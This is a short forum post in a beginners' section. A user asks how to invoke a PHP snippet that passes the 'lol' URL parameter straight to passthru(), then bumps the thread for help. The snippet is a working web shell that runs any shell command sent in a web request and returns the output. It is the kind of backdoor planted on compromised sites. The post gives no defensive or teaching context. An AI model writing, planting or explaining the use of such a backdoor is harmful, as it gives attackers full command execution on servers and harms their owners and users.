Newbie Questions php cmd command help

[Nwekerooney]

if i put this code in php script

how can i use this ?

if(isset($_GET['lol'])){

echo '<pre>';
passthru($_GET['lol']);
exit();
}

www.site.com/index?lol.php ?

can some one help

 

[Nwekerooney]

up

please need help.